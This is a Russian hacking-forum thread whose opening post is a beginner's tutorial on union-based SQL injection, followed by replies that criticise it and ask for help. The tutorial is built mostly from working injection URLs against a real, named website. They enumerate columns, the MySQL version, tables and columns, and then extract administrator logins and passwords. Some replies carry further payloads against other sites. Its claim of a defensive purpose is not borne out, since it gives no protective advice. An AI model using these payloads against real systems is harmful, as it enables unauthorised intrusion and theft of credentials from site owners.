![]() |
Моя первая статья. Вообще, я сторонник всевозможных уроков «Дилетантам от дилетанта». Я сам не так давно начал практиковать SQL-инъекции, и именно поэтому, пока еще свежи воспоминания о том, в чем у меня были проблемы, я постараюсь изложить основы наиболее понятным новичку языков. Опытным хакерам-дедам просьба не беспокоиться. Также, я прекрасно знаю, что тема изъезжена вдоль и поперек и что статей по ней великое множество. Но, тем не менее, я хочу претендовать на то, что моя будет самой понятной. Я совсем не хочу поместить в статью все тонкости и нюансы, просто хочу рассказать основы, необходимые для понимания более полных и профессиональных статей.
Благодарности: Konqi , ибо именно у него я консультировался в самом начале пути; Авторам этих статей: SQL injection и заливка шелла SQL injection полный FAQ Итак, приступим. Что такое SQL Injection? Это внедрение злоумышленником постороннего SQL-кода при помощи составлении специального URL (адреса, для танкистов). Найти уязвимость очень просто. Как – покажу на примере. Здесь у нас, кстати, рассматриваются MySQL базы данных (далее – БД), причем пятой версии. Код:
http://www.td-vezdehod.ru/news.php?id=774Код:
http://www.td-vezdehod.ru/news.php?id=774'Код:
http://www.td-vezdehod.ru/news.php?id=775-1Код:
SELECT * FROM news WHERE id='774'Код:
SELECT * FROM news WHERE id='774''.Вы не забыли, что цель SQL-инъекции – сделать свой запрос? Так вот, делать мы его будем при помощи оператора UNION – он служит для объединения двух запросов в один. Но прежде нюанс – количество столбцов до этого UNION и после должно соответствовать. Пока особо в это не вдумывайтесь, это теория, потом поймете. Будем подбирать количество столбцов при помощи оператора ORDER BY. Еще сверхважный момент – при составлении url вместо пробела пишите плюс. И вот еще – в MySQL начало комментария обозначается двойным дефисом --, причем до и после него должен быть пробел (помните про плюс?). Я также читал, что комментарий обозначается /*, не знаю, если честно, в чем отличия. Ну, на всякий случай, давайте дописывать в конец url знак начала комментария. Итак, начинаем подбирать количество столбцов вот так: Код:
http://www.td-vezdehod.ru/news.php?id=774+order+by+30+--+ Ничего.Теперь, собственно, UNION. Перед этим лучше поставьте значение id=-1 или допишите что-нибудь ложное, например, 1=0, чтобы содержимое не отображалось и не мешало думать. Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+--+Сейчас нам нужно узнать версию MySQL. Для этого есть функция version(). Узнаем версию мы так: Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+Отображается какая-то фигня) В том числе такое большое красивое число 19. И вместо числа 19 в url подставляем нашу функцию version(): Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22+--+Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(table_name),20,21,22+from+INFORMATION_SCHEMA.TABLES+--+Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=AdminSite+--+Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=CHAR(65,100,109,105,110,83,105,116,101)+--+Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(login,0x3a,passw),20,21,22+from+AdminSite+--+Вот, собственно, и все. Надеюсь, моя статейка поможет кому-то. Имхо, SQL инъекции идеальны для начинающего хацкера Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций. За использование полученных из статьи сведений автор отвественности не несет! Спасибо за внимание, жду аргументированной критики и вопросов) |
Цитата:
Совершенно бестолковая и ненужная статья. Цитата:
Лучше бы написал статью про HackBar, что ли.. |
Цитата:
Цитата:
|
Цитата:
|
Цитата:
Цитата:
|
Цитата:
|
Отличная статья, просто шедевр! Я по ней хекингу учился, всем советую" Поднимите свой уровень хакерской догадки до уровней небес! Атвичаю.
|
лучше бы запостить эту статью не на Ачате а на HackZone-e или т.п.
Boa конечно старание оцениваются, но таких статей здесь море |
Урезанная версия статьи Dr.Z3r0 (/thread43966.html)
Ну уж на авторскую никак не тянет... Цитата:
Что-то я не увидел ни одного совета "всевозможным администраторам" как "уберечься от SQL-инъекций" |
Цитата:
Spyder, м? Konqi, запощу, пожалуй |
Boa, что м? Ты же сам никакого представления об инъекциях не имеешь. Зачем статью писать?
|
Spyder,
Цитата:
|
Согласен со Spyder'ом, зачем вводить людей в заблуждение, особенно на их начальном этапе, если ты еще сам пока до конца не понимаешь принцип проведения sql иньекций?
|
Boa, ну а потом такие дилетанты, вроде тебя, начитавшись хакерских статей, как твоя, начинают
при составлении url вместо пробела писать плюс, ставить до и после комментария пробел, ставят /* - но не знают в чем отличия и так далее |
Цитата:
Цитата:
Цитата:
Да что там дальше смотреть... Садись, два! Где мой коньяк? Не обижайся, статья-говно. И совсем новичек прочитав эту статью на каком-то этапе впадет в депрессию. |
Вполне нормальная статейка для начинающих - всё показано на практике.
|
Цитата:
|
мдя..
давай угадаю, купил комп, потом инет и через 2 месяца(видно по реги) пишешь статью в которой новичок даже не сможет понять отличие между order by и group by и думаешь что тут есть что-то полезное в этой ужасной статье? (другого слова не смог подобрать) как видно "http://www.td-vezdehod.ru/" твой первый мега взлом ахЪ? поздравляю ты теперь мастер среди всех новичков-нубов... и еще кое чо мастер, проясни своим знанием почему когда я хецкаю сайты по твоему супер охеренному варианту 774+and+1=0+........... то с запросам and+1=0 у меня не ломается сайтег? других вариантав ты мне не дать, и мое теперь не знать как ломать WWW (((( |
Цитата:
Цитата:
table_name=AdminSite как я понял - это приватный метод обхода magic_quotes, а + зачем? Я вот уже замечаю в который раз, что перед комментарием ставят такой плюсик, это для чего? =\ Цитата:
ТС - написание статей - это хорошо, но на эти ошибки уже указывали, нужно их исправить! Если бы ты показал банальную раскрутку скули, но правильно - я бы слова не сказал! Вы просто не понимаете ответственность за такие статьи, сейчас придет новичок, прочтет статью и пойдет ломать интернеты по статье с ошибками! =( |
Таких статей море. Эта статья, я думаю, была не нужна. Хватит и этой в ней более обширно написано, и есть почти всё, что и в этой статье.
|
Цитата:
Вот смотри, показываю один раз наглядным примером: Код:
mysql> SELECT 1--3; |
Пробел до и после комментария я взял из полного FAQ по скулям, в этом же разделе. Достаточное объяснение?
|
Цитата:
-- Достаточное объяснение будет когда ты приведешь мне цитату из официальной документации. А в документации написано: Цитата:
|
а для меня +--+ это просто дело привыки, как и id=1+and+1=2, а не id=-1(или чтото вроде того)
Цитата:
|
статья "проводим простейшую SQL инъекцию на примере сайта ***"
думается мне, она способна показать новичку, насколько "просто" иногда можно заполучить пасс админа, и тем самым пробудить у него интерес к тому, чтобы изучить SQL-inj более детально. понравилось. Если Ты - новичек, и тебе тоже понравилась эта статья - советую ознакомиться с еще одной (уже указывавшейся ранее) от Dr.Z3r0 (/thread43966.html) Она читается немного по-тяжелее, да и наглядного примера там нет, но зато она сможет дать тебе ответы на многие вопросы из тех, что у тебя могли возникнуть после прочтения этой статьи. |
Привет, ТС.
Я подобрал число таблиц, теперь пытаюсь сделать так: Причем, походу, таблица одна, т.к. только при еденице все отображается. http://site.com/lol.php?id=-1+union+select+1+--+ Но получаюThe used SELECT statements have a different number of columnsБез всяких других ошибок. Если делаю больше (1,2,3) то получаю еще ошибки ПХП (Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource) Однако подставив select+1,2,3,4,5,6,7,8,9,10,11 я получаю только Варнинги, но и страница корректно не отображается, но она отображается лучше, чем когда подставишь до 12 (у нее есть задуманый автором цвет). Че это такое? |
Встречал такие, просто подбирал число, чтобы при следующем числе число всяких ошибок и инфа на странице летели к чертям.
|
Цитата:
|
В статье др. Зеро написано. А моя и не претендует на объяснение всего и вся.
|
Цитата:
При еденице нет ворнингов, но число это явно маловато. При 11 есть ворнинги, но нет ошибки SQL, т.е. как будто, это искомое число столбцов. Однако, когда я делаю id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11 я получаю варнинги, а не получаю ту "фигню" с "большим и красивым числом 19" (ну у меня, уж наверное, это будет не 19, я это осознаю). Что же это? Какой-то хитрый/недописаный фильтор? Если ты говоришь, что такое встречал, то, все-таки, что ты при этом делал? |
Цитата:
|
fl00der, клац.
Цитата:
|
fl00der, никакой это не фильтр, это обычный двойной SQL запрос. Вот пример /thread175335-%E4%E2%EE%E9%ED%EE%E9+sql.html
Но увы, здесь нету универсального решения. Для каждого случая нужно составлять свою инъекцию. Цитата:
|
Boa !
Не обращай внимания на критику. Статья нужная (имхо). Да, она не для гуру, а для самых начинающих. О чем ты и сообщил в самом начале статьи. Лично мне она дала толчок и желание все же изучать данную тему. ДУмаю, что и многим другим начинающим она поможет. Уважаемые гуру и кул-хацкеры! Критиковать и тыкать носом в неточности и поверхностность статьи легче всего. Но напомню - статья совсем не претендует на звание научного труда или революционные изыскания. И написана скорее для популяризации темы. О чем автор и предупреждает в самом начале (первые два абзаца). И я считаю что с этой задачей статья справляется. |
Очень интересная и познавательная статья мне как новичку очень пригодилась !
написано всё доходчиво и понятно + |
Boa, продолжай в том же духе, пиши еще.
Прочитал бы её на пару месяцев раньше, уточнил бы для себя многие моменты. |
Для первой просто великолепно...
|
Привет всем.У меня небольшая непонятка вышла
Код:
http://www.xxx.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,column_name,20,21,22+from+INFORMATION_SCHEMA.COLUMNS+w here+table_name=CHAR(65,100,109,105,110,83,105,116 ,101)+--+а именно Код:
union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,passwod,20,21,22+from+CHAR(65,100,109,105,110,83,105,116 ,101)+--+Код:
CHAR(65,100,109,105,110,83,105,116 ,101)Кто подскажет в чем ошибка что не так. |
Зачем таблицу чарить?
Код:
union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,passwod,20,21,22+from+TABLE+--+ |
Цитата:
Предположил что так же стоит поступить и при выводе инфы. из столбцов.Но увы пока без успешно. |
| Время: 21:16 |